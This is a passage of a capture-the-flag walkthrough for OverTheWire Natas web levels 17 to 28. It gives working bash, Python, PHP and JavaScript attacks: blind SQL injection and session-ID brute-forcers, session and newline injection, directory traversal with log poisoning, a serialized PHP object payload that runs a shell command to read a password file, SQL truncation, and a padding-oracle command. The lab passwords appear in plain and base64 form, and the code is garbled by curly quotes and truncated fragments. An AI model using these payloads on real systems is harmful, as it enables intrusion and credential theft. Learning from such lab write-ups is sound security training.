request=’username=natas18%22%20AND%20LEFT(password,%20′”${n}”‘)%20COLLATE%20latin1_general_cs%20=%20%22′”${password}${i}”‘%22%20AND%20(SELECT%20SLEEP(10))%20AND%20%221%22=%221’
## If the character is found, add it to the password string
## and break out of the for loop
if [[ ${runtime} -gt “5” ]]; then
echo “${n} out of 32”
password+=”$i”
break
fi
done
echo “$password”
done


After we run the script, the password is displayed:

xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP


#### Notes Here is an alternative python 2.7 script by [Zelic](https://dejandayoff.com/natas-level17---level18/):

import urllib
import urllib2
import time

url = ‘http://natas17.natas.labs.overthewire.org/index.php’
authorization = ‘Basic bmF0YXMxNzo4UHMzSDBHV2JuNXJkOVM3R21BZGdRTmRraFBrcTljdw==’

Chars = [‘a’,’b’,’c’,’d’,’e’,’f’,’g’,’h’,’i’,’j’,’k’,’l’,’m’,’n’,’o’,’p’,’q’,’r’,
‘s’,’t’,’u’,’v’,’w’,’x’,’y’,’z’,’A’,’B’,’C’,’D’,’E’,’F’,’G’,’H’,’I’,’J’,’K’,’L’,
‘M’,’N’,’O’,’P’,’Q’,’R’,’S’,’T’,’U’,’V’,’W’,’X’,’Y’,’Z’,’0′,’1′,’2′,’3′,’4′,’5′,
‘6’,’7′,’8′,’9′]

password = “”

#loop through possible length of password
for i in range(1, 33):
print “%d out of 32″ % (i)
#loop through possible chars
for j in range(0,len(Chars)):
sqli = ‘natas18” AND LEFT(password, %d) COLLATE latin1_general_cs = “%s” AND (SELECT SLEEP(10)) AND “1”=”1’ % (i,password + Chars[j])
values = {‘username’ : sqli}
data = urllib.urlencode(values)
req = urllib2.Request(url, data)
req.add_header(‘Authorization’, authorization)
start = time.time()
response = urllib2.urlopen(req)
the_page = response.read()
end = time.time()
#print the_page
duration = end-start
if duration > 10:
password+=Chars[j]
print password
break


## Level 18 - PHPSESSID Username: natas18 Password: xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP URL: [http://natas18.natas.labs.overthewire.org](http://natas18.natas.labs.overthewire.org) The page presents us with Login form and an instruction: "Please login with your admin account to retrieve credentials for natas19. " php source code is:

“;
}
}
/* }}} */
function my_session_start() { /* {{{ */
if(array_key_exists(“PHPSESSID”, $_COOKIE) and isValidID($_COOKIE[“PHPSESSID”])) {
if(!session_start()) {
debug(“Session start failed”);
return false;
} else {
debug(“Session start ok”);
if(!array_key_exists(“admin”, $_SESSION)) {
debug(“Session was old: admin flag set”);
$_SESSION[“admin”] = 0; // backwards compatible, secure
}
return true;
}
}

return false;
}
/* }}} */
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists(“admin”, $_SESSION) and $_SESSION[“admin”] == 1) {
print “You are an admin. The credentials for the next level are:
“;
print “

Username: natas19\n";
    print "Password: 

“;
} else {
print “You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.”;
}
}
/* }}} */

$showform = true;
if(my_session_start()) {
print_credentials();
$showform = false;
} else {
if(array_key_exists(“username”, $_REQUEST) && array_key_exists(“password”, $_REQUEST)) {
session_id(createID($_REQUEST[“username”]));
session_start();
$_SESSION[“admin”] = isValidAdminLogin();
debug(“New session started”);
$showform = false;
print_credentials();
}
}

if($showform) {
?>

Please login with your admin account to retrieve credentials for natas19.

Username:
Password:


The code tells us that the username we will target is **admin** and not natas19. If login password is incorrect you get logged in as a regular user and a php session is setup. This php session id is the key to unveil the password for the next level. Script that will search through PHPSESSID numbers is:

#!/bin/bash

address=’http://natas18.natas.labs.overthewire.org/index.php’
authorization=’Basic: bmF0YXMxODp4dktJcURqeTRPUHY3d0NSZ0RsbWowcEZzQ3NEamhkUA==’
password=”

for n in {1..1000}
do
content=$(curl –user natas18:xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP -H “Referal: http://natas16.natas.labs.overthewire.org/index.php”-H “${authorization}” -b “PHPSESSID=${n}” -d ‘username=admin’ -d ‘password’ -d ‘debug’ -d “submit=Login” “${address}”)

match=$(echo “$content” | tr ‘\n’ ‘ ‘ | grep -v “You are logged in as a regular user.”)

echo “${n}”
if [[ “$match” != “You are an admin.” ]]; then
echo “${match}”
break
fi
done


We can see session id 610 will give us the password for natas19

4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs



## Level 19 - hex session: num-admin Username: natas19 Password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs URL: [http://natas19.natas.labs.overthewire.org](http://natas19.natas.labs.overthewire.org) The task is similar to the previous level, however this time the PHPSESSID's are not numbers. If we build the required URL http://natas19.natas.labs.overthewire.org/index.php?username=admin&password&debug We get the message:

This page uses mostly the same code as the previous level, but session IDs are no longer sequential…
DEBUG: Session start ok
You are logged in as a regular user. Login as an admin to retrieve credentials for natas20.

So the session started. Let's see the PHPSESSID that was set:
3130302d61646d696e

As the session id is a random number we can expect it will change when we repeatedly visit the page and delete the cookie before each session. 

Here are a couple of PHPSESSID's:

3130302d61646d696e
3236372d61646d696e
3334382d61646d696e
3538372d61646d696e
3131352d61646d696e


There is a part of ID that is repeated in each id:

313030 2d61646d696e
323637 2d61646d696e
333438 2d61646d696e
353837 2d61646d696e
313135 2d61646d696e


Let's convert some of these hex numbers into ASCII:

echo ’31 30 30 2d 61 64 6d 69 6e’ | xxd -r
00-admin
echo ’33 34 38 2d 61 64 6d 69 6e’ | xxd -r
48-admin


Here is the Bash script:

#!/bin/bash

address=’http://natas19.natas.labs.overthewire.org/index.php’
authorization=’Basic: bmF0YXMxOTo0SXdJcmVrY3VabEE5T3NqT2tvVXR3VTZsaG9rQ1BZcw==’
password=”

for n in {1..640}
do

echo “${n}”

hex session ID

sessionid=$(echo ${n}-admin | xxd -p )

| tr -d ‘0a’ – this removes all 0a in the string – not only the last 2 characters

removing the last two character s from the string as 0a get appended

echo “${sessionid::-2}”

Request

content=$(curl –user natas19:4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs -H “Referal: http://natas19.natas.labs.overthewire.org/”-H “${authorization}” -b “PHPSESSID=${sessionid::-2}” “${address}”)

match=$(echo "$content" | tr '\n' ' ' | grep -v "You are logged in as a regular user.")

if [[ "$match" == *"You are an admin."* ]]; then 
  echo "${match}"   
  break 
fi

done


Password for natas20 is:

eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF


#### Notes A slightly modified Python script by [rAstl1n](http://r4stl1n.github.io/2014/12/29/OverTheWire-Natas17-24.html):

import requests
from requests.auth import HTTPBasicAuth

for x in range(1, 640):
sessionid = str(str(x) + “-admin”).encode(“hex”)
print “Trying: ” + sessionid + “: “+str(x)
r = requests.get(“http://natas19.natas.labs.overthewire.org/”, auth=HTTPBasicAuth(‘natas19’, ‘4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs’), cookies={“PHPSESSID”:str(sessionid)})
print r
if “You are an admin.” in r.text:
print “FOUND: ” + str(x)
print r.text
break

## Level 20 - write a newline to file
Username: natas20
Password: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF
URL: [http://natas20.natas.labs.overthewire.org](http://natas20.natas.labs.overthewire.org)

Page asks us for a name and again we can use ?debug to print out debugging info. 
At first glance at source code we observe XXS attack is possible `<?=$name?>`.

Vulnerable [php code](http://natas20.natas.labs.overthewire.org/index-source.html):
debug("Reading from ". $filename);
$data = file_get_contents($filename);
$_SESSION = array();
foreach(explode("\n", $data) as $line) {
    debug("Read [$line]");
$parts = explode(" ", $line, 2);
if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
} 
We can write arbitrary data to the file that's being read. Now let's add a newline character somewhere in there for reader to interpret our single key-value pair as multiple.

Sending the request twice (first to write to the file and second time to read from it)  
%0A is url-encoded newline

http://natas20.natas.labs.overthewire.org/index.php?name=admin%0Aadmin%201&debug=true

[r4stl1n](http://r4stl1n.github.io/2014/12/29/OverTheWire-Natas17-24.html) suggestet to use %00 NULL byte injection technique, but this doesn't work in my browser. 

http://natas20.natas.labs.overthewire.org/index.php?name=asdf%00admin%201&debug=true


Password is:

IFekPyrQXftziDEsUr3x21sYuahypdgJ


## Level 21 - submit keys to PHPSESSID via the changed form fields Username: natas21 Password: IFekPyrQXftziDEsUr3x21sYuahypdgJ URL: [http://natas21.natas.labs.overthewire.org](http://natas21.natas.labs.overthewire.org) This level has two connected pages:

Note: this website is colocated with http://natas21-experimenter.natas.labs.overthewire.org


Php code on the main page is nothing special. Again we see we need to have a session with key admin and value 1 to access the password.

“;
print “

Username: natas22\n";
    print "Password: 

“;
} else {
print “You are logged in as a regular user. Login as an admin to retrieve credentials for natas22.”;
}
}
/* }}} */

session_start();
print_credentials();
?>

So let's go to the second page. The page features a form with wich we can change styles on the page. But the php code is more interesting. especially this part:

// if update was submitted, store it
if(array_key_exists(“submit”, $_REQUEST)) {
foreach($_REQUEST as $key => $val) {
$_SESSION[$key] = $val;
}
}

Here we see that each form key/value pair will be set as session key/value. 

OK, so let's change one of the fields to `<input value="1" name="admin">`

Copy the PHPSESSID on this site and change the PHPSESSID on the main page. 
When we refresh the page we get the password for the next level.

Username: natas22
Password: chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ


## Level 22 - contents of 302 redirect page Username: natas22 Password: chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ URL: [http://natas22.natas.labs.overthewire.org](http://natas22.natas.labs.overthewire.org) The page gives us only the source code and cookie info. In php we see we can get the password by adding `?revelio` to the page

“;
print “

Username: natas23\n";
    print "Password: 

“;
}
?>


So let's visit `natas22.natas.labs.overthewire.org/index.php?revelio=true` in browser. We immediately see we get redirected to the previous page and the redirect code 302 is displayed. OK, so we will need a script to get to the contents of the page.

#!/bin/bash
address=’natas22.natas.labs.overthewire.org/index.php?revelio=true’
authorization=’Basic: bmF0YXMyMjpjaEc5ZmJlMVRxMmVXVk1nallZRDFNc2ZJdk40NjFrSg==’
content=$(curl –user natas22:chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ -H “${authorization}” “${address}”)
echo “$content”

We run the script and get the password:

D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE


## Level 23 - php string and number as value Username: natas23 Password: D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE URL: [http://natas23.natas.labs.overthewire.org](http://natas23.natas.labs.overthewire.org)

10 )){
echo “
The credentials for the next level are:
“;
echo “

Username: natas24 Password: 

“;
}
else{
echo “
Wrong!
“;
}
}
// morla / 10111
?>


We need to make sure the value of passwd will be true in two cases: - iloveyou will be its substring and - it will be greater than 10 If the value will start with any number greater than 10 and string iloveyou it should satisfy these two rules. Let's try the URL:

http://natas23.natas.labs.overthewire.org/?passwd=13iloveyou


Password is:

OsRmXFguozKpTZZ5X14zNO43379LZveg


## Level 24 - strcmp() Username: natas24 Password: OsRmXFguozKpTZZ5X14zNO43379LZveg URL: [http://natas24.natas.labs.overthewire.org](http://natas24.natas.labs.overthewire.org) Php code tells us it must be a strcmp() function that will enable us to get the password:

“)){
echo “
The credentials for the next level are:
“;
echo “

Username: natas25 Password: 

“;
}
else{
echo “
Wrong!
“;
}
}
?>


After trying various numbers, function(){} and other strings this one seems to work:

http://natas24.natas.labs.overthewire.org/?passwd[]=0
or
http://natas24.natas.labs.overthewire.org/?passwd[]

Password is

GHF6X7YwACaYYssHVY05cFq83hRktl4c


## Level 25 - User-Agent header php injection and ....// Username: natas25 Password: GHF6X7YwACaYYssHVY05cFq83hRktl4c URL: [http://natas25.natas.labs.overthewire.org](http://natas25.natas.labs.overthewire.org) The page offers a dropdown with language sellection. php code behind it is:

We will help ourselves with `$filename=str_replace("../","",$filename);` that will enable us to traverse the directory (we will use ....// we could also use ..././) and `$log=$log . " " . $_SERVER['HTTP_USER_AGENT'];` where we will upload the script. 

Here is the code:

#!/bin/bash

address=’http://natas25.natas.labs.overthewire.org/?lang=….//….//….//….//….//tmp/natas25_qe8keb8k1mo1hao83u7mump9n6.log’
authorization=’Basic: bmF0YXMyNTpHSEY2WDdZd0FDYVlZc3NIVlkwNWNGcTgzaFJrdGw0Yw==’

content=$(curl –user natas25:GHF6X7YwACaYYssHVY05cFq83hRktl4c -b ‘PHPSESSID=qe8keb8k1mo1hao83u7mump9n6’ -H ‘User-Agent: ‘ -H “${authorization}” “${address}”)
echo “$content”


As the response we get whole log and the password:

qe8keb8k1mo1hao83u7mump9n6


## Level 26 - unserialization of an object from a cookie Username: natas26 Password: oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T URL: [http://natas26.natas.labs.overthewire.org](http://natas26.natas.labs.overthewire.org) This level uses unserialization of an object from a cookie. More info [OWASP](https://www.owasp.org/index.php/PHP_Object_Injection) We will use the Logger object from the [source code](http://natas26.natas.labs.overthewire.org/index-source.html). Php code to create a serialized and encoded cookie for drawing

initMsg=”\n\n”;
$this->exitMsg=”\n”;
$this->logFile = “img/pass.php”;
}

    function log($msg){
        ;
    }                      

    function __destruct(){
        ;
    }                      
}

$obj = new Logger(“hello”);

echo serialize($obj);
echo “\nbase64_encoded:\n\n”;
echo base64_encode(serialize($obj));
echo “\nurlencoded:\n\n”;
echo urlencode(base64_encode(serialize($obj)));
?>


When we run the code we get:

O:6:”Logger”:3:{s:15:”LoggerlogFile”;s:12:”img/pass.php”;s:15:”LoggerinitMsg”;s:51:” “;s:15:”LoggerexitMsg”;s:50:” “;}

base64_encoded: Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoxMjoiaW1nL3Bhc3MucGhwIjtzOjE1OiIATG9nZ2VyAGluaXRNc2ciO3M6NTE6Ijw/IHBhc3N0aHJ1KCdjYXQgL2V0Yy9uYXRhc193ZWJwYXNzL25hdGFzMjcnKTsgPz4KCiI7czoxNToiAExvZ2dlcgBleGl0TXNnIjtzOjUwOiI8PyBwYXNzdGhydSgnY2F0IC9ldGMvbmF0YXNfd2VicGFzcy9uYXRhczI3Jyk7ID8+CiI7fQ==

urlencoded: Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoxMjoiaW1nL3Bhc3MucGhwIjtzOjE1OiIATG9nZ2VyAGluaXRNc2ciO3M6NTE6Ijw%2FIHBhc3N0aHJ1KCdjYXQgL2V0Yy9uYXRhc193ZWJwYXNzL25hdGFzMjcnKTsgPz4KCiI7czoxNToiAExvZ2dlcgBleGl0TXNnIjtzOjUwOiI8PyBwYXNzdGhydSgnY2F0IC9ldGMvbmF0YXNfd2VicGFzcy9uYXRhczI3Jyk7ID8%2BCiI7fQ%3D%3D


I have used base64 encoded code to change the drawing cookie value in Firebug. Then refresh the page http://natas26.natas.labs.overthewire.org/ and the following message should appear:

Fatal error: Cannot use object of type Logger as array in /var/www/natas/natas26/index.php on line 105


Next, visit http://natas26.natas.labs.overthewire.org/img/pass.php and the password will be displayed. Password is:

55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ


## Level 27 - db field length, duplicate user Username: natas27 Password: 55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ URL: [http://natas27.natas.labs.overthewire.org](http://natas27.natas.labs.overthewire.org) ## SOLUTION Clue is in the database schema:

CREATE TABLE users (
username varchar(64) DEFAULT NULL,
password varchar(64) DEFAULT NULL
);


We will create another user natas28 by adding username natas28 64+spaces and letter a. Password can be blank.

natas28 a

As username length is 64 characters we will trick it into thinking we are entering a unique name by entering a username that is longer than that, however when saved in the database the username will be trimmed to 64 characters as only 64 characters are alowed. 
Then when we login again with natas28 and blank password, SQL will strip the spaces in db during the username check and then the data dump will display only the first match (the original natas28) with the password. 

Welcome natas28!
Here is your data:
Array ( [username] => natas28 [password] => JWwR438wkgTsNKBbcJoowyysdM82YjeF )



#### SOLUTION#2 An unverified solution. I couldn't get the response with the password. Main tip is written in the comments of the source code! The database get's cleared every 5 minutes. So we will try to login with blank creds at the same time as the database is cleared. Javascript script that should be entered into console.

for (i = 0; i < 10000; i++) {
query = “username=natas28&password=”;
xhr = new XMLHttpRequest();
xhr.open(“POST”, “http://natas27.natas.labs.overthewire.org/index.php”, false);
xhr.setRequestHeader(“Content-type”,”application/x-www-form-urlencoded”);
xhr.send(query);
console.log(i);
if (xhr.response.indexOf(“Here”) != -1) {
break;
}
}
console.log(xhr.response);

stop the script with

xhr.abort();


## Level 28 Username: natas28 Password: JWwR438wkgTsNKBbcJoowyysdM82YjeF URL: [http://natas28.natas.labs.overthewire.org](http://natas28.natas.labs.overthewire.org) There is a clue about the solution of this problem if we visit a partial link

http://natas28.natas.labs.overthewire.org/search.php/?query=G%2BglEae6W%2F1XjA7vRm21nNyEco

Incorrect amount of PKCS#7 padding for blocksize


So it's about the encription :) In total there are two Error messages

Incorrect amount of PKCS#7 padding for blocksize
Invalid PKCS#7 padding encountered


Tool Padding Oracle Attack: https://github.com/mpgn/Padding-Oracle-Attack I have only edited headers to enable access to the page:

headers = {“Content-type”: “application/x-www-form-urlencoded”,”Accept”: “text/plain”, “Authorization” :”Basic bmF0YXMyODpKV3dSNDM4d2tnVHNOS0JiY0pvb3d5eXNkTTgyWWplRg==”, ‘Cookie’: cookie}

And used one of the URLs to get the cypher

echo ‘G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPIQ9i1qWcR+wgATYlCscOxBZIaVSupG+5Ppq4WEW09L0Nf/K3JUU/wpRwHlH118D44=’ | base64 -d | xxd -p
1be82511a7ba5bfd578c0eef466db59cdc84728fdcf89d93751d10a7c75c
8cf210f62d6a59c47ec200136250ac70ec416486954aea46fb93e9ab8584
5b4f4bd0d7ff2b725453fc294701e51f5d7c0f8e

Here is the command:

python exploit.py -c 1be82511a7ba5bfd578c0eef466db59cdc84728fdcf89d93751d10a7c75c8cf210f62d6a59c47ec200136250ac70ec416486954aea46fb93e9ab85845b4f4bd0d7ff2b725453fc294701e51f5d7c0f8e -l 16 –host natas28.natas.labs.overthewire.org -u /search.php/?query= -v –error “PKCS#7”
“`

https://docs.google.com/spreadsheets/d/1V9n5i6Gly5Hm_DYCRQppdjWaltkCePi-z0meN3tZExQ/edit#gid=0
cat /etc/natas_webpass/natas29